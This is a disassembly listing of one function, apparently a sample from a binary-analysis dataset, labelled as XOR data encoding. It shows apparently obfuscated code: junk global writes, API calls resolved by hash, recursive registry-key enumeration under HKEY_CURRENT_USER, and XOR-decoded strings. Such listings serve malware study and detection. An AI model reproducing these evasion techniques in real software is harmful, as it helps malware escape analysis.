Function at 0x41be4c
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x8c
movzx eax, word [0x42bac8]
and byte [0x42bac4], 0xc7
sub eax, 0x42a9cef8
push ebx
push ebp
mov dword [0x42bad4], eax
xor eax, eax
push esi
push edi
lea edi, [esp + 0x4c]
mov dword [esp + 0x48], edx
stosd dword es:[edi], eax
mov esi, 0x800
push esi
mov dword [esp + 0x48], ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, 0x1034
xor ax, word [0x42bad8]
mov word [0x42bac8], ax
call fcn.0040570b
movzx ecx, byte [0x42bac4]
mov ebp, eax
sub ecx, 0x15c33d07
mov dword [0x42badc], ecx
mov cl, byte [0x42bac8]
sub cl, 0x13
push esi
mov byte [0x42bac5], cl
call fcn.0040570b
imul edx, dword [0x42bad4], 0x13dc
mov edi, eax
pop ecx
pop ecx
movzx ecx, word [0x42bad8]
xor esi, esi
imul ebx, ecx, 0x8118347b
mov dword [esp + 0x3c], edi
mov word [0x42bac8], dx
mov dword [0x42badc], ebx
test ebp, ebp
je 0x41c3cc
test edi, edi
je 0x41c3cc
mov cl, byte [0x42bac5]
mov edx, 0x1bdd7fb
push 0x400
movzx eax, bx
xor cl, 0x79
xor eax, 0x53d0
mov byte [0x42bac5], cl
add eax, 0x5d898ff8
mov dword [esp + 0x44], esi
push ebp
mov dword [0x42bad4], eax
or eax, 0x8928
push esi
push dword [esp + 0x50]
mov word [0x42bad8], ax
movzx eax, cl
mov ecx, 0x80d8
xor ax, cx
push 4
pop ecx
mov word [0x42bac8], ax
call fcn.004155a6
call eax
movzx edx, byte [0x42bac5]
mov ecx, 0x859c
mov ebx, dword [0x42badc]
imul edx, ecx
mov cl, bl
or cl, 0xc0
mov byte [0x42bac4], cl
mov word [0x42bad8], dx
test eax, eax
jne 0x41c3c5
push 0x5c
pop eax
push dword [esp + 0x48]
mov word [esp + 0x38], ax
xor eax, eax
mov word [esp + 0x3a], ax
movzx eax, word [0x42bac8]
or eax, 0x6499e1d0
mov dword [0x42badc], eax
mov eax, dword [0x42bad4]
and eax, 0xd467
mov word [0x42bac8], ax
movzx eax, dx
add eax, 0xcc1d12d
push edi
mov dword [0x42bad4], eax
call fcn.00405dde
movzx eax, word [0x42bad8]
and eax, 0x907e4a25
mov dword [0x42badc], eax
mov eax, 0x16f0
add ax, word [0x42bad8]
mov word [0x42bac8], ax
lea eax, [esp + 0x3c]
push eax
push edi
call fcn.00405bcb
mov al, byte [0x42bad4]
sub al, 9
mov byte [0x42bac4], al
movzx eax, byte [0x42bad8]
imul eax, eax, 0x85
push ebp
push edi
mov byte [0x42bac5], al
call fcn.00405bcb
movzx eax, byte [0x42bac5]
add esp, 0x18
mov ecx, 0x781e
mov edx, 0x68407afb
or ax, cx
mov word [0x42bad8], ax
lea eax, [esp + 0x30]
push eax
push edi
push 0x80000001
push 4
pop ecx
call fcn.004155a6
call eax
test eax, eax
jne 0x41c32a
mov dword [esp + 0x10], 0xa7a5a1ab
mov eax, esi
mov dword [esp + 0x14], 0xa2d4d4d1
mov dword [esp + 0x18], 0xa3a1a3a6
mov dword [esp + 0x1c], 0xa1f6a3a3
mov dword [esp + 0x20], 0xd3aaaad0
mov dword [esp + 0x24], 0xa2a3a2a2
mov dword [esp + 0x28], 0xd3a0d0a6
mov dword [esp + 0x2c], 0xa4a5a4a4
movq xmm1, qword [esp + eax + 0x10]
movq xmm0, qword [0x428fe0]
pxor xmm1, xmm0
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
movups xmmword [esp + eax*2 + 0x58], xmm1
add eax, 8
cmp eax, 0x20
jl 0x41c0a4
xor eax, eax
mov word [esp + 0x98], ax
movzx eax, byte [0x42bac5]
or eax, 0x8bc9f12d
mov dword [0x42bad4], eax
mov al, byte [0x42bac8]
and al, 0x4f
mov byte [0x42bac4], al
lea eax, [esp + 0x58]
push eax
push ebp
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
jne 0x41c391
mov al, byte [0x42badc]
and dword [0x42bad4], 0x8088800
and al, 0x8b
mov byte [0x42bac4], al
movzx eax, word [0x42bac8]
sub eax, 0x2cbd9fc4
push 0x200
mov dword [0x42badc], eax
call fcn.0040570b
mov edi, eax
mov eax, 0x56ca
or word [0x42bac8], ax
pop ecx
test edi, edi
je 0x41c2fb
movzx edx, word [0x42badc]
mov ebx, esi
xor byte [0x42bac4], 0x67
mov ecx, edx
xor ecx, 0x3cbc
push 0x100
push edi
push esi
lea eax, [ecx - 0x3cad]
mov word [0x42bac8], ax
movzx eax, cx
and cl, 0x7e
imul eax, eax, 0x11b4db78
add cl, 4
xor edx, 0x9505
mov byte [0x42bac5], cl
mov word [0x42bad8], dx
mov dword [0x42bad4], eax
jmp 0x41c2a8
movzx eax, byte [0x42bac5]
mov ecx, 0x63b5
add ax, cx
mov edx, 0x68407afb
mov word [0x42bad8], ax
movzx eax, ax
add eax, 0x6e92b1a7
mov dword [0x42badc], eax
mov al, byte [0x42bac8]
sub al, 0x2e
mov byte [0x42bac4], al
lea eax, [esp + 0x38]
push eax
push edi
push dword [esp + 0x38]
push 4
pop ecx
call fcn.004155a6
call eax
test eax, eax
jne 0x41c25c
mov al, byte [0x42bad4]
lea edx, [esp + 0x4c]
sub al, 2
mov byte [0x42bac5], al
mov al, byte [0x42bac4]
or al, 0x98
movzx ecx, al
mov byte [0x42bac4], al
mov eax, 0x6c46
imul ecx, eax
mov word [0x42bac8], cx
mov ecx, dword [esp + 0x38]
call fcn.0041c4a7
mov ax, word [0x42bac8]
mov ecx, 0x4079
push dword [esp + 0x38]
add ax, cx
mov edx, 0x76485fc5
mov word [0x42bac8], ax
movzx eax, ax
imul eax, eax, 0x5c48df09
push 4
pop ecx
mov dword [0x42bad4], eax
call fcn.004155a6
call eax
movzx ecx, word [0x42bad4]
mov eax, 0x11d9
add word [0x42bad8], ax
inc ebx
mov eax, dword [0x42badc]
add eax, 0xafeb4df6
mov dword [0x42bad4], eax
movzx eax, byte [0x42bac5]
add eax, 0x78fe6c84
mov dword [0x42badc], eax
lea eax, [ecx - 0x45ff]
push 0x100
or eax, 0x65ca
push edi
mov word [0x42bac8], ax
push ebx
push dword [esp + 0x3c]
mov edx, 0x1bdd7fb
push 4
pop ecx
call fcn.004155a6
call eax
test eax, eax
je 0x41c1a5
mov eax, dword [0x42badc]
movzx ecx, word [0x42bac8]
add eax, 0xffff8fa9
add ecx, 0xd2f8b75a
mov word [0x42bad8], ax
movzx eax, cl
imul eax, eax, 0xcf
push edi
mov dword [0x42bad4], ecx
mov byte [0x42bac4], al
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0x3c]
mov al, byte [0x42bad8]
mov edx, 0x76485fc5
push dword [esp + 0x30]
and al, 0x88
mov byte [0x42bac5], al
mov al, byte [0x42badc]
sub al, 0x66
push 4
pop ecx
mov byte [0x42bac4], al
call fcn.004155a6
call eax
mov ecx, dword [0x42bad4]
mov edx, 0x1bdd7fb
sub dword [0x42badc], 0x23de36ab
or ecx, 0x627c
movzx eax, cl
imul eax, eax, 0x9d
push 0x400
push ebp
mov word [0x42bac8], cx
add cl, 0x48
mov byte [0x42bac5], cl
mov byte [0x42bac4], al
mov eax, dword [esp + 0x48]
inc eax
push eax
push dword [esp + 0x50]
mov dword [esp + 0x50], eax
push 4
pop ecx
call fcn.004155a6
call eax
test eax, eax
jne 0x41c3bf
mov dx, word [0x42bad8]
jmp 0x41bf8e
mov al, byte [0x42bac8]
mov edx, edi
mov ecx, dword [esp + 0x30]
or al, 0xdd
mov byte [0x42bac4], al
mov eax, 0x8798
or ax, word [0x42bad8]
mov word [0x42bac8], ax
call fcn.0041be4c
jmp 0x41c2ff
mov ebx, dword [0x42badc]
mov dx, word [0x42bac8]
mov ax, dx
mov ecx, 0x4380
and ax, cx
xor dl, 0x50
sub bl, 0x59
mov word [0x42bad8], ax
push edi
mov byte [0x42bac5], bl
mov byte [0x42bac4], dl
call fcn.004056f0
mov al, byte [0x42bac4]
xor al, 0xeb
movzx eax, al
push ebp
mov word [0x42bac8], ax
call fcn.004056f0
movzx eax, byte [0x42bac4]
imul eax, eax, 0xdd
pop ecx
pop ecx
mov ecx, dword [esp + 0x4c]
mov byte [0x42bac5], al
test ecx, ecx
je 0x41c49c
mov dword [esp + 0x10], 0xdfd7dbf3
mov dword [esp + 0x14], 0xc4f599da
mov dword [esp + 0x18], 0xd8d3d2d3
mov dword [esp + 0x1c], 0xdad7dfc2
mov dword [esp + 0x20], 0xcec298c5
mov byte [esp + 0x24], 0xc2
mov al, byte [esp + esi + 0x10]
xor al, 0xb6
movzx eax, al
mov word [esp + esi*2 + 0x58], ax
inc esi
cmp esi, 0x15
jl 0x41c454
xor eax, eax
mov edx, 0xa93e
mov word [esp + 0x82], ax
mov ax, word [0x42bad8]
xor ax, dx
mov edx, dword [esp + 0x54]
mov word [0x42bac8], ax
sub al, 0x25
mov byte [0x42bac5], al
lea eax, [esp + 0x58]
push eax
call fcn.0041eb29
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x8c
ret